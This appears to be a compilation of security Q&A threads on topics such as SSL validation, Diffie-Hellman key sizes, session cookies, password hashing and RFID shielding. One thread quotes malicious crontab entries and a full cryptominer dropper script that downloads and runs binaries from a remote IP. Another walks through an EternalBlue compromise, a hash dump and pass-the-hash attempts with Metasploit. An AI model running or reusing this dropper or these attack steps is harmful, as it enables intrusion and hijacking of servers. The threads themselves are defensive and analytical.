How this kind of mechanism considered as vulnerability? From following news, http://thehackernews.com/2012/12/etsy-for-iphone-loophole-allows.html

Someone just setup a proxy to intercept traffic between browser and https protocol, then it called vulnerability for 750 USD?

The article simply doesn't contain enough information to asses the situation. Sending a password (without further encryption/hashing) over SSL/HTTPS is secure, if SSL is used correctly.

Perhaps the certificate validation was insufficient, allowing a MitM on SSL. (One of the comments claims that this was the case for your example.) If you don't validate the certificate the server sends to you, an attacker can impersonate the server. In such a scenario the information still gets encrypted, but with a key the attacker chooses.

Against active attackers, SSL is only as secure as your certificate validation.


DNS Redelegation - Security Risk? I am a web developer and I use Adobe Business Catalyst. To use some of their services it is recommended you redelegate the domain. In other words change the nameservers to Business Catalyst.

I have been told that this is a security risk.

Why is this a security risk and what could happen?

It depends on how much you trust the security of Adobe's DNS hosting compared to where your DNS hosting currently takes place.

DNS security is inherently an issue of trust as the way in which the DNS system resolves your domain name to a given destination IP, and any compromise of the authoritative name server can allow an attacker to point your domain at a spoof site or service and the user may not notice (depending on whether you are using additional security such as SSL certificates etc.) Also remember that the authoritative DNS hosting company automatically gains some statistics about the resolution sources and patterns of requests to your domain which is unlikely to be an issue but should be mentioned.

With  redelegation - i.e. changing the DNS hosting to another company - if you trust the overall security of the new company as much as the current one then there should be no overall security risk.

There is one small wrinkle to this - if you currently run your own authoritative DNS for the domain(s) in question and you use it to resolve hidden information (maybe an internal mail MX record that is for internal use only) and hide these specific types of resolution by filtering these resolution requests from the public internet then this will no longer be possible. This is a very rare and unusual scenario though.


which diffie-hellman group is needed for secure ike/ipsec We're deploying ipsec on embedded devices and getting catastrophic performance from the diffie hellman 2048 group in ike..  afterwards the shared securet is used for 3des, sha1.  ipsec negiation is well over 20s for a single tunnel..  the network stack is using openssl to the negotiation

Am I correct to say that 1024 is sufficiently secure for use in DH, in this context ?  My understanding is that dh 1024 is ok to negotiate ipsec sa with lifetime of 24 hours until such a time as dh 1024 can be forced in < 24 hours.  That is very unlikely to be before 2030

There's no confidentiality requirement so we dont care if someone can decrypt the traffic after 24 hours, as long as they cant re-inject it or tamper with current packets that's fine.

The reason given to use dh 2048 is because "1024 is no longer secure"..  I've nothing against dh 2048 but given the performance problem i'm trying to push the 1024 group.  I dont want to do that if I've missed some problem though.

The advice that 1024 is insecure relates to long lived (1-2 year) RSA keys.  As DH negotiates short lived (24 hour) session keys, DH in 1024 group is ok for us.

In the use of dh in 2048 group, then the resulting shared secret has 160 bits of security which cant be forced for 10 - 15 years.  10-15 years because rsa 2048 is considered safe until 2030 and I'm assuming dh 2048 is similar

If dh in 1024 group is used, then the resulting shared secret is probably safe for a few years.  The RFC 2409 which defines dh 1024 for ike says it generates more than 160 bits of security.  It should however be twice the number of security bits needed, we need 224 as 224 = 2 * 112 and 3des needs 112. So what is meant by "more than" in the rfc.

By default, openssl generates the dh secret as a random number of length equal to the dh shared prime, so i'm thinking it will be at the large end of what the "more than" means..  I'm not sure how to verify that though

RSA 1024 hasnt been forced yet but is expected to be in near future, probably with months or years of computation.  However, our product will still be in use in 10 years time.  Maybe RSA 1024 will be easily forceable in 2025, as long as it takes more than a day dh 1024 is still ok.  (I'm not saying dh 1024 will be a good choice in 2025, i'm saying if we choose it today then we wont have to phase it out before 2025)

The shared secret resulting from our dh is only used for 24 hours.  SA lifetime is 24 hours so we're going to renegotiate our tunnels every 24 hours.  That means a new DH secret every 24 hours.  So as long as dh 1024 cannot be forced in a 24 hour period it's ok for us to use dh 1024.  As long as we think it will still take more than a day to DH 1024 the resulting shared secret of a dh 1024 can be forced in maybe a few weeks.

Follow up question, if we use 3des tat needs 112 bits of security, DH should generate twice as many bits as needed, but DH 1024 only generates 160 bits..  How big a problem is that in practice ?

We also have the option to modify the negotiation, we could say with dh 2048, but generate the secret in a smaller value space.  In openssl we can set the q parameter on the DH structure to determine the number of bytes to generate in DH_generate_key..  that seems less attractive an option than using dh 1024 however

If this doesnt hold water could somebody correct me ?  thanks

Let's define a few things clearly...

When you use an asymmetric algorithm like DH, it has a "strength" that relates to the difficulty of breaking through it with the best known attacks. The best known attacks on DH try to solve discrete logarithm with an index calculus variant that has a lot of common elements with the General Number Field Sieve, an integer factorization algorithm. They have the same asymptotic complexity, which is why it is often said that RSA-1024 and DH-1024 have "the same strength".

In practice, though, DH tends to be somewhat stronger than RSA of the same size. The last phase of GNFS involves doing linear algebra in a really big matrix; for RSA, the matrix elements are bits, while for DH the elements will be numbers with roughly the same size of the modulus -- so the matrix for DH-1024 will be about a thousand times larger than the matrix for RSA-1024. For large keys, this linear algebra is the bottleneck, precisely due to the sheer size of the matrix. Therefore, it is expected that DH-1024 is "more resistant" in some way than RSA-1024. We may note that the current record for RSA modulus factorization is 768 bits, while the discrete logarithm record is at 596 bits.

For 1024-bit factorization, we know that the problem exceeds the capacity of existing computers. We have some theoretical design concepts for a special-purpose machine that could factor a 1024-bit integer; it would take years to do a single computation, and building the machine would cost a substantial number of millions of dollars (but not billions -- at least "on the paper"). For DH-1024, I am not aware of a similar design or cost estimate.

Note that none of this is about the length of the key that you generate. What cryptographers like to work with are equivalent symmetric strengths. They want to say that the strength of an algorithm/key is, say, "100 bits", by which they mean: "the effort to break it would be equivalent to the effort involved in breaking through exhaustive search the 100-bit key for an ideal symmetric encryption algorithm". However, this is very reductive. Brute-forcing a symmetric key is about trying out all possible keys, which can be done in parallel and requires negligible RAM contents, only CPU. Brute-forcing scales up well, with negligible structural overhead. This does not hold at all for GNFS; in particular, the main difficulty in GNFS for large RSA or DH keys is that the final step with the matrix is very hard to compute in parallel and requires tons of very fast RAM.

This has not prevented various people and bodies to make estimates. You can browse these estimates there. To sum up, depending on who you are talking to, DH-1024 will be deemed to have about "80-bit strength", while DH-2048 rates closer to 112-bit strength.

Now 80-bit strength is still considerable. The biggest key-crunching effort reported so far is 64-bit. 80-bit is 65536 times harder. Specialized circuitry can probably lower costs a lot. But we are still talking millions of dollars, and not just a few millions; closer to a billion, really. So maybe this is sufficient for the value of the secrets that you want to hide in your embedded systems.

I note that "20 seconds" is a lot. Some years ago, I implemented a basic DH-2048 on a 33 MHz ARM7TDMI, i.e. not the fastest embedded system ever; and it could do a complete DH in less than 7 seconds. My code was pure C, and C is known to be suboptimal at leveraging the CPU abilities at multiplications for big-integer arithmetics. My guess is that going assembly would have allowed DH-2048 to run within 4 seconds or so, on the same platform.

One thing to take into account is the size of the exponent. When doing DH, you are computing modulo a big prime p, and raising two values to exponent x (the DH private key on your side). For 80-bit security, you need p to be a 1024-bit integer (at least) and you also need x to be chosen randomly of length 160 bits (because attacks are either GNFS over p, or a "generic DL" with cost sqrt(x)). For a 2048-bit prime, you get 112-bit security on the GNFS side, so you need the DH private key to be 224-bit. A bigger DH private key won't bring extra security, but it will make computations longer. Possibly, your current implementation uses an oversized DH private key (e.g. a 512-bit exponent), which may explain your issues.

For better performance, you might want to switch to elliptic curves (ECDH). Depending on what is supported on the other side, of course. ECDH provides the same level of security as DH with more arithmetic operations but with much smaller values, leading to a substantial performance boost (typically 5 to 20 times faster). A 224-bit curve provides "112-bit strength", i.e. similar to 2048-bit DH.


Shoulder surfing prevention or mitigation for unlocking mobile devices How can shoulder surfing be prevented or mitigated when unlocking mobile devices?

I found other questions about shoulder surfing that focus more on desktop machines, but I believe the issue is much more serious and worrying for mobile devices. You carry them around all the time, you are unlocking them in front of other people all the time, the input method for gestures/pins/passwords is slower and leaks a lot of info in several ways (from visual touch feedback to grease marks, etc). I find it way too easy to steal unlock codes (especially gestures and pins), all it usually takes is standing next to somebody when they are about to unlock the screen.

As far as I know, Android supports gestures (ridiculously insecure), pins (still very insecure), and passwords (more secure but also more cumbersome to type). I don't know if anything else is possible, or if there are any settings or methods to mitigate this threat.

To make shoulder surfing for lockscreen pins harder, especially on mobile, I think you're going to have to do something that is not static - that is the content or challenge changes every attempt.

For example, Blackberry used to offer a pseudorandomly generated lockscreen called picture password. It involved you picking some visual element on the picture and dragging that part over a number pad which was randomized every time. This made it so that the pin itself wasn't useful, rather the gestures to unlock them were which makes this more resilient to shoulder surfing.

Another method might be to randomize your keypad for PIN entry. Some custom Android ROMs already offer this. So a shoulder surfer who only sees the pattern that your fingers punch down won't be able to unlock your device by replicating your finger movements.

Other than these two options, other methods might be to use Biometric scanning like Facial recognition or Fingerprint readers. Both of these make it harder for someone to see tour actual pin and unlock your device. Alternatively consider using a paired device with
Google's Smart Lock to unlock your device in front of others.


Do AWS and GAE use DMZ? The system I am working on primarily use Google App Engine for my main web app and Amazon Cloudfront/S3 for hosting static data.

Now as an audit exercise this question is out to me:

  Are the internet facing components of the service hosted in a separate network zone (DMZ) protected by firewalls?

I am not sure what is the best way to answer this question because Google and Amazon may or may not have deployed a DMZ.

My questions:

Where can I find out the DMZ information form the vendors to answer this question?
Is it applicable for me to answer this kind of questions? I don't think as a platform user I am able to answer questions regarding the network partition/topology on behalf of  these organisations. If not, how would you formulate an answer?

Within AWS, you can create a VPC allowing you to define your own virtual network.

You can partition this into subnets. As an example, you could have web servers in a public subnet (effectively a DMZ network) and your internal servers (say databases) in a private subnet. You can use NAT to initiate outgoing connections from the private subnet to the Internet (say, for patching).

AWS provides security groups that are analogous to IP/port based firewall rules.

GCP provides similar abstractions for virtual networks, subnets and firewalls.


How can I focus on the positive side of information security to create awareness? I would like to know how I can create a healthy and positive environment for information security. Due to some mistakes, this is not the case at the moment at the company I am at.
I am an intern at the company. I am a 19yr old Dutch Industrial Engineering Management student doing an InfoSec awareness internship in a Bulgarian IT company. My job is to create awareness. I have three more months. Before I came there, there already was a system in place but that system was on a negative/ punishing side. I tried to put it to a next level but it did not work.

Please note: I did not have any previous knowledge of InfoSEc before I started this 'challenge' and I do not understand the specifics of IT related things. Only input-> Black Box -> Output

I have some basic Change management knowledge and some knowledge of Management control (Key performance indicators etc)

I would like to know how I can change the negative approach like looking for failure to a positive like looking for a success without making a complete fool out of myself/ making myself hated.

I am looking for something where people are happy and proud of doing something good, but I don't want to be giving compliments all the time because that gets annoying for people.

What you're looking for is a change in culture, rather than positivity as a goal. You'd want to re-state your objective, which is "Achieving a better cybersecurity culture". I'd highly recommend looking at SANS Securing the Human program. The resources available are effective, and they look at the psychological aspect as well.

Suggested starting point:
https://securingthehuman.sans.org/media/resources/presentations/STH-Presentation-MakingAwarenessStickv2.pdf

Have a look at the Fogg Behavioral Model, and the various models you can use (Kotter's Vision model, the Heath - Commander's Intent, etc.). It's not just about positivity, it's about impact and transformation. Positivity plays a role, but don't focus only on that, otherwise it's hard to be successful in 3 months.

Good luck with your internship!


Best way to securely set a session cookie on another domain We currently have 2 sites http://www.foo.co.uk and https://secure.foo.com.

The www site does not have an SSL certificate and is on a different domain.

We have a login button on http://www.foo.co.uk that when clicked opens up an iframe of https://secure.foo.com with a form, when the user logs in it creates a session cookie on that domain (foo.com).

The session cookie then needs to be copied to foo.co.uk so what it does is redirects you to http://www.foo.co.uk/setcookie.php?session=abcd1234 which allows us to set the same cookie on the origin domain.

This is not a very secure solution so I have been looking into how to make this better - the best idea I have found is to send a hash using something like HMAC along with the params to the setcookie.php script and then verify it on the other end before creating the cookie.

Whilst this is better it doesn't prevent man in the middle attacks. Bearing in mind that www is not SSL secured I don't think you can prevent this completely, so the next best thing would be to include a timestamp in the hash to make it valid for 5 minutes.

Does anyone have any ideas on how I can make this better, or point out any pitfalls with this approach? I would be most grateful.

As you've noted already creating this token on the unencrypted www site will essentially remove the benefit of running over SSL for the secure site as an attacker can just sniff the token when it's transferred to the unencrypted site and then use it on the encrypted site to masquerade as the user.

Also having a link from the unencrypted site to the encrypted one where you log in leaves you open to an active MITM attack where the attacker redirects the request to their own site to take the credentials.

If there's not particular reason not to, you could just put SSL on both sites which would help to remove the risk mentioned above. The old main reason not to use SSL everywhere (performance) may not apply to you depending on how busy your site is an how heavily loaded it is.

Outside of that answers would depend on your architecture. For example, do the two sites share a database?  If so could you have two different session values for a user (one for www and one for the secure site) and correlate them there?


Strange numbers on log-in auto complete I've encountered some strange numbers on the Pinterest login screen as autocomplete suggestions. Does that mean anything? For example, somebody is using my computer or account for hacking accounts, trying password combinations, etc?

No, you are almost certainly not being hacked.

This looks like standard behaviour for a browser. You probably typed those numbers into a site somewhere and now your browser is trying to be clever by thinking that Pinterest has similar text inputs to the previous site you put the numbers into, and suggesting you type the numbers into the text input on this new site.

To see exactly what is happening you can view the auto-fill data for your browser and you should be able to see those numbers:

Chrome

(I had to change my profile for the location of my "Web Data" file %LOCALAPPDATA%\Google\Chrome\User Data\[your profile]\Web Data)
Firefox


Differences in classified data handling Is the difference in the strength of the cryptographic algorithms the only difference between handling TOP SECRET and SECRET information? Say in NSA Suite B, the following is recommended:
 - SECRET: AES128, SHA256, ECHD256 and ECDSA256
 - TOP SECRET: AES256, SHA384, ECDH384 and ECDSA384

No, there are many different requirements for handling information at various levels of classification.   What is more, these requirements are going to vary by country, but they include not only the encryption used, but they often need to live in different systems on different networks.  Software and hardware products may also be certified for use with information up to a certain level of classification and not beyond.  The physical security requirements for an environment increase as the level of classification increases.  The screening requirements for personnel who have access increase with the level of classification.  These are only a few high-level examples of the differences.


What encryption is used by 1password? I use a password storage application on my Mac called 1password. I was wondering if it encrypts the data it stores on my computer and decrypts it using a key made from my "one password" or if it has the data stored unencrypted but only allows me to access it by first submitting my password. I would hope it is the first way as I feel that this is more secure.

From the homepage:

  A potent cocktail of AES-256 encryption and PBKDF2 key derivation ensures that no one but you can see into your data. Everything from your passwords to the addresses of your saved websites are fully encrypted whenever you aren't using 1Password.

So it sounds like they derive an encryption key from you password using PBKDF2 and then use it to encrypt your passwords with 256 bit AES. (Or perhaps they just use the password derived key to encrypt another key they encrypt your passwords with, to make it simpler to change password, but the security should be the same.)

In other words, it is like your firsst option (but off course I have only read their homepage, not their source code). A password manager that worked like your second option would be a security catastrophe, and I do hope there are none on the market.


What asymmetric encryption algorithms are in common use beside RSA? I am looking for an asymmetric encryption algorithm other than RSA?

ElGamal is an asymmetric encryption algorithm, which is used in OpenPGP.

Almost all usages of asymmetric encryption is for key exchange (by encrypting a random string, which is then used as shared key in symmetric encryption algorithms). There are key exchange algorithms which are not asymmetric encryption algorithm, the most well-known and used being Diffie-Hellman (in a nutshell, DH is like an asymmetric encryption algorithm in which you do not get to choose what you encrypt -- the one who encrypts "discovers" the seemingly random data which has been encrypted once he has done it -- but that's good enough for key exchange).

ElGamal and Diffie-Hellman both have variants which use elliptic curves. Same principle, a bit more maths, better performance.

There are many other asymmetric encryption algorithms, e.g. McEliece and NTRUEncrypt, but they are less used for various reasons (too recent, too old, not studied enough to be declared secure, patented, too slow, public key is too big...).


Protect PHP hashing algorithm (from bots) First of all, I'm new to this whole crypto thing. Here's my scenario:

I have a client app, that sends a 20char max string to my server. The server then checks if the name is indeed matching the char limit, then logs the name, time, and IP into an sqlite3 database.

My problem is that I have a troll who is hell bent on destroying my site. First, there was no protection or filters on added usernames. I've now added the char filter, and also made sure to only accept 1 name per IP address. That all works, but now he created a bot that gets him a new proxy every time before making the get request.

I've changed as much as I think I can server side, I think I need to roll out a client side application patch.  Also note that this process happens once a minute until the client app is closed.

I need to verify that the get request is coming from my client app, and not a bot.  This guy is pretty hell bent on pissing in my/anyone who's trying to use the site legitimately's Cheerios.

Idea 1: creating random token checks. Process: client app (shortened to app) sends unhashed token request, server replies with random string. Client app hashes the string, and replies to the server with the hashed and unhashed string. Server does the hashing on the unhashed, and compares it to the hashed one. If all matches, it adds the name to the database.

Problem with that is A) I have to make sure the unhashed string is not used more than once per period of time, but I could add them to a DB and use Cron or something to delete the database every now and then. B) is that I have to have my hashing algorithm completely protected, on both the app and the server. If they busted the algorithm (or just identified what hashing method it's using) they could build a bot with that accounted for.

I'd use something like a captcha, but it's just a background thread that routinely submits the get request, there is no user interaction with it at all.

Any help or pointers are greatly appreciated, thanks if you've made it through this much text...

You cannot. It is unfortunate, but you cannot. Whatever is running as the client (barring some situations you are almost certainly not in involving TPM) can, if someone is sufficiently motivated, be completely understood. Someone can disassemble it, emulate it, patch it - there's virtually nothing you can do about this.

What you need to do is not look at authenticating the client, but rather authenticating the USER. Look at OAuth2/OpenID Connect/similar - make them log in with gmail or facebook before using your app. If this is a background process, allow them to register on your website (using oauth2, etc) to get an apikey. That apikey is unique to them, identifies them to you, so if you see abuse, you can tie it back to their gmail/facebook/whatever.

If you can't do this, well, then you're stuck with just making it harder. You can hope they are not sufficiently motivated to decompile your app and get your hash algorithm, but in the long run, that's not a winning game.


Hash pepper in web application possible? I have read a few articles and several question on here about hashing correctly.
While hashing, adding salt and especially pepper is primarily a server side use case, I am interested in the possibility to implement (not talking of inventing security mechanisms myself) as much of these practices in a JavaScript based web application (client-sided) additionally to the server side.

Hashing

...as answered by many questions before, is totally possible on the client side but still crucial on the server-side to not replace the hashed password with the client hash itself. Additionally the password is protected in case of a compromised server. An attacker who gets hold of it due to an insecure connection has to use a rainbow table to find out the password instead of clear text.

Salt

...has to be unique but not necessarily more private than the hashed password itself, is stored in the same database. Like-wise a client salt could be the unique user name, however salting is irrelevant to the attacker if the user is send in clear text in addition to the hashed, salted password. (But without the user name, the salt does provide additional security.)

Pepper

...has to be secret, is shared for all passwords in an application and kept separate from the database containing hash and salt (e.g. in the application as the application might not be accessible for an attacker who did an successful SQL injection in the database). If the JavaScript of a web application included a hard coded pepper, the attacker would easily find it out and therefore make the pepper useless.

(Again: assume the server side to hash, salt and pepper no matter of the actions on the client side)

Is there any way to pepper on client side to increase password security while transmition? I have no experience in security and can not think of a way to include such a pepper safely since the attacker can be the client or fetch the server's traffic including the client's pepper.

The use case of a "pepper" is to make it impossible to crack password hashes in the case the attacker has obtained the password hashes but not the pepper value. One such scenario would be limited SQL injection, where the database contents can be read but not the file contents.

One way to provide similar security would be to use asymmetric encryption. The client encrypts his password hash with the public key of the server. The server has the corresponding private key and can decrypt the password hash to verify it. This way, the client can perform the work to make the password hash available only to the server.


Any way to know if a sniffed packet contains a downloaded file? Is there any way, using TCPdump, Wireshark or any library based on that, to know if someone is downloading a specific file, for example abc.exe, by inspecting the http packet? http, not https


When/why should the "mark this key as exportable" option be selected when importing a certificate? When a certificate is being imported on Windows, at some point the following option is available:
[] mark this key as exportable
I understand that this is used in case the certificate needs to be transmitted from a client to a server, for example to establish a TLS communication channel. Is it correct to say that the key that needs to be exportable is the public key, so that the server can verify the client's identity during a handshake? Else, what exactly does this option do and when/why should it be/not be checked?

Marking the private key as exportable gives someone with the permission to the private key the ability to export it into a PFX file. The ability to read the key and the ability to export the key are two separate things.
Using the private key for signing or decryption is not in any way related to exportability. Windows exposes APIs that you can call to use the private key for various operations which are gated by whether the calling user has permissions to use the key. This is independent of export.
In the link you left in the comment, what it's hinting at is the permission to access the private key. This is controlled primarily through file ACLs (or other implementations based on key providers). You can view them by opening MMC > Add Certificate snap-in > select computer > select Personal > right click some certificate > Manage Private Keys.

In order to export the key you need permission to access the private key and the key must also be marked as exportable.


Pass the Hash & Unix Purpose: test if PtH (Pass the hash) is feasible against Unix box
Scenario:

Windows host (Windows Server 2008) vulnerable to eternalblue

got Administration hash as part of the post-exploitation process (meterpreter hashdump command)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3ab8988c5403e0a939927a7c70ee4360:::

through metasploit module scanner/smb/smb_login I checked if the same password (in this case hash) it had been used more than once within the entire subnet
Interesting output:
+] 192.168.92.80:445     - 192.168.92.80:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:3ab8988c5403e0a939927a7c70ee4360'
192.168.92.80: NAS (Unix O.S)

My questions:

With regard to Metasploit how can it tell if the hash grabbed during the post-exploitation phase is actually correct and eventually might grant access to the host
I tried PSExec (Metasploit) and also pth-winexe with the same hash above, but to no avail (all attempts failed)

Is PtH possible, if the target is a Unix host?
If my reasoning is wrong, what should I do in order to accomplish my objective
any help will be highly appreciated

This can happen when a Samba file share has authentication disabled or accepts any credentials. To validate this, try doing a smb_login with random credentials (say admin:admin) and see if accepts those credentials too.
To check if the server accepts NTLM authentication, try performing a nmap target -A -p 445 on the target. If it returns details such as internal domain name (NetBios,FQDN,etc.) of the target organisation. If it does, then you should be able to pass the hash to the Samba share.


Is an unencrypted log in android's storage considered insecure? I'm currently checking the logs an Android app creates. There, I found an interesting entry: In android's

/data/data/app.being.checked/cache/ok_http_cache_dir

There are quite a lot of files and there are entries where an attacker could easily read the user's

E-Mail address
First name
Customer Id

These files persist even after logging out, exiting the app and restarting the phone.

Now the question remains: Is this a vulnerability which an real-world attacker would use to gain access to the user's data or would it take too much effort to do so, because he has to gain access to the user's phone, root it and then read the files or use a malicious program if the phone is already rooted.

I'm asking because I'm currently checking the app in scope of a bug bounty program and it specifies that any vulnerabilities have to be usable in a real-world scenario to do damage (including getting access to sensitive data) to a user. Would this qualify for such a program?

Encrypting log data is only one way to obfuscate parts of the system. If a malicious application already installed on your Android has root on the phone, then they it already has access to everything on the system. For example, the app that has root can install a keylogger, or a screen capture and by pass the need to read a log file. But overall yes, encrypting a file can slow down an attacker from getting all of the log data at once vs getting it in screen captures.


Struts2.3 Zero Day attack exploited: CronJob getting created Can someone help understand what exactly is being done through this attack.
I was using Struts2.3 in Jboss5 environment.
I had some crontabs installed, which went missing instead these two lines are seen in crontab.

#*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
#*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh

Below is the script found in the logo.jpg file which is got through 'wget' from 91.230.47.40

#!/bin/sh
rm -rf /var/tmp/jmpmxfyhiz.conf
ps auxf|grep -v grep|grep -v xxtyligbex|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jmpmxfyhiz"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "xxtyligbex" -e "tmbllmjcex" -e "pclfzagbkh" -e "dqpuewpvxz" -e "gzvcdujihq" -e "bevgesdhbs"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/xxtyligbex.conf
rm -rf /var/tmp/xxtyligbex.conf
curl -o /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
wget -O /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
chmod 777 /var/tmp/sshd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker
else
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker_na
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker_na
fi
chmod +x /var/tmp/sshd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
sysctl -w vm.nr_hugepages=`$num`
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

Kindly help me to understand what is being done through this.
Also help me remove the possibility of any malware being installed in my server.
To cover  the vulnerability I have moved my projects to Struts 2.5.
Still the crontab keeps coming back even if I remove them.

The descibed actions install a "kworker" tool on your server, which seems to be a bitcoin miner, according to Virustotal.

Since the records appear in /etc/crontab file, most likely you have installed a package with tojan on your system.

To solve this issue, I would recommend reinstalling OS on your server, as the box has been already owned by attackers and they might have installed other malware as well.


Password accepted when added characters I accidentally discovered that I can log into my university's account if I type in my password and add some characters. So if my username is e. g. "abc" and my password is "password", I can log in with "abc"/"password", but also with "abc"/"password121312", "abc"/"password1", "abc"/"passworde" etc. (I did only a few tries, but it worked so far).

Is this somehow unsafe? (I can not imagine why (except maybe that this means that there are other security problems with the network) , but I do not know much about security.) Should I tell my university?

The most likely reason why this happens is that the system truncates passwords. To check this hypothesis, you could try to change your password to something longer and see what happens: does the system recognize "thisquitelongpassword" as "thisquitelong"? If so, the system definitely truncates passwords. If not, there may be serious issues with input validation, as highlighted by @Matthew.

While password truncation may be necessary to interact with legacy systems - which also truncate usernames, see this answer on Serverfault - in general it should be avoided, as it reduces the "password space", i.e. the number of unique passwords that can be generated.

Attackers can save a lot of resources (time,money) if they know that their target system uses truncated passwords, since they know they don't need to try passwords longer than the truncation length.

While your behavior doesn't seem malicious to me, some organizations are very sensitive about people finding flaws in their systems.

Therefore, you might try to tell your university about this, but don't stress too much your knowledge of possible attacks. Just saying something like "I read this can be sign of a security issue" should be fine. Also, don't state things in an absolute way like "this is completely unreasonable", as there may be reasons for that (for password truncation, not wrong input validation).

Obviously, don't perform too many tests, don't automate the tests, and don't carry out attacks.


Security concerns about Web browser It seems that its like a black point in my mind that I think about browser when I research information security. Its clear that its the browser applies security rules while we navigate websites. In any event that if browser failed to apply cookie rules or origin policy; how we can detect that?

Now, if someone downloaded malicious browser (infected version of genuine browsers or any other browser that originally designed to steal user data)

how we can validate trustworthy of the browser and proof that all security rules applied correctly?

Dose anyone validated Mozilla, Internet Explorer or Google Chrome?

It seems that its like a black point in my mind that I think about
  browser when I research information security. Its clear that its the
  browser applies security rules while we navigate websites. In any
  event that if browser failed to apply cookie rules or origin policy;
  how we can detect that?

You cant really tell if the browser fails at applying a policy unless the browser itself tells you. If the browser has not been tampered with when you start using it, you can use some third party addons for the respective browsers to give you a fine grained control over these kind of policies.

Firefox has addons like Cookie Monster and Self-Destructing Cookies to make it easier to manage cookies and apply policies on them. I am not familiar with Chrome or IE so I cannot give any example for them.

There are also blockers like uBlock Origin and uMatrix which provide loggers that you can use to analyze what the browser is doing, as well as see what is blocked and what is allowed.

  Now, if someone downloaded malicious browser (infected version of
  genuine browsers or any other browser that originally designed to
  steal user data)

  how we can validate trustworthy of the browser and proof that all
  security rules applied correctly?

There are checksums available for firefox here you can compare them with the file you download to make sure nothing has been altered from the version published. Its important to note that checksums assume there is no MITM when you are downloading/viewing them. Obviously if someone has a MITM they can just alter the file before sending it to you.

Again, these browsers don't offer any real way to audit them, you need to use some third party tools for that.

  Dose anyone validated Mozilla, Internet Explorer or Google Chrome?

Firefox and Chrome (Chromium) are open source projects so they have bug trackers that are publicly visible as well as the ability for anyone to download the source code. The problem is that these projects are so large, its difficult for a single person to audit the code.

If you are worried about exploits on the browser making your data/actions vulnerable then the best you can do is find some addons that help you track the browser, run in a sandbox environment and use programs like apparmor or selinux to prevent the browser from doing things you don't want it to do.


How is security of server's RSA private key is ensured? We repeatedly hear news of hacking of passwords from PW database (server side) but nothing about hacking of server's RSA private key (not asking regarding finding p and q for a given public modulus N), why?

Please someone explain how and where server's RSA private key is stored & used w.r.t authentication and any other details if any which makes server's RSA private key safe from hackers?

I need answer w.r.t password based authenticated key exchange protocol using RSA.

For best security, the private key should be held in an HSM (or Smart Card implementing a minimal HSM). It is hard to extract the private key from that, especially remotely, except for a bug or backdoor in the configuration or implementation of the HSM. That's because all good signature (resp. encryption) algorithms have the property that no matter how many signatures (resp. decryptions) one obtains, it is impossible to deduce the private key or a complete functional equivalent of that.

The HSM is also valuable because it is security evaluated, including against side-channel attacks like timing, and intrinsically invulnerable to others (like, leaks from one VM to another due to supervisor bugs, or physical CPU cache states). An HSM typically comes with means to enforce administrator/operator roles; put the HSM (typically, by default) in a safe (non-operative) mode; zeroise sensitive data on some attacks; do encrypted backups of keys; sometime, log operations. Also, some HSMs provide a significant performance boost compared to software-only solutions.

However, an attacker that gets root access to an host with HSM while it is operative, can potentially make signatures or decryptions (the HSM only makes it necessary for the attacker to have a few HSM-specialized skills). Therefore, an undetected persistent intrusion on a machine using an HSM is nearly as good to an attacker as getting the private key; and in most signature cases, revoking the private key is necessary if an attacker had even temporary access to it, so the fact that the private key can't be extracted is moot.


Possible physical interface attacks on a server Let's say you have a server at a data centre, but a hacker manages to find a way in and has access to your server. What are the attack possibilities with all the interfaces available?

Are there any known attack and defence mechanisms to a system once physical access has been gained?

Think about VGA, USB, Firewire, IPME and BMCs.

Running Ubuntu 16.04.

--- Edit ---

The question is a bit broad, however, I am hoping for practical answers, such as:

PCIleech: https://github.com/ufrisk/pcileech

The answer provided is not exactly what I am looking for, since the top answer is:
"The attacker can do everything". I am hoping for more in-depth (practical) answers of the possibilities are of 'everything'.

Companies like Amazon (AWS), Microsoft (Azure) etc are all ISO XXX compliant, have strict security rules (I guess). Now neither you nor they can prevent a malicious employee who has access to the data center to harm/hack the hardware. But it can be detected...

One way I can think of defence is to encrypt the disk at rest.

The rest is in the hands of the attacker.


What are the different types of RFID shields for cards? (Some seem to block 1 side only, some affects all nearby cards regardless of side, etc.) I'm new to RFID blocking and find it interesting. I came across this video to learn more and just have 2 questions
https://www.youtube.com/watch?v=NKwJwOm3bfI
Q1. Why would Vaultcard (4:42-5:30) protect both sides while Antetoko (8:47-9:20) protects one side? Are there different type of shields I need to be aware of?
Q2. If my intention is to create a DIY wallet with this setup:
Scannable card #1 |SHIELD| Credit card I want to protect |SHIELD| Scannable card #2
Is there a specific type of RFID Shield I should look for? one that doesn't 'jam' all nearby cards, as I want card #1 #2 to be functional? Is there a term for that for an easy further google search?

To do what you want to do, I would not use an active blocking device like your video shows. I would use a blocking sleeve for the cards you want to protect.


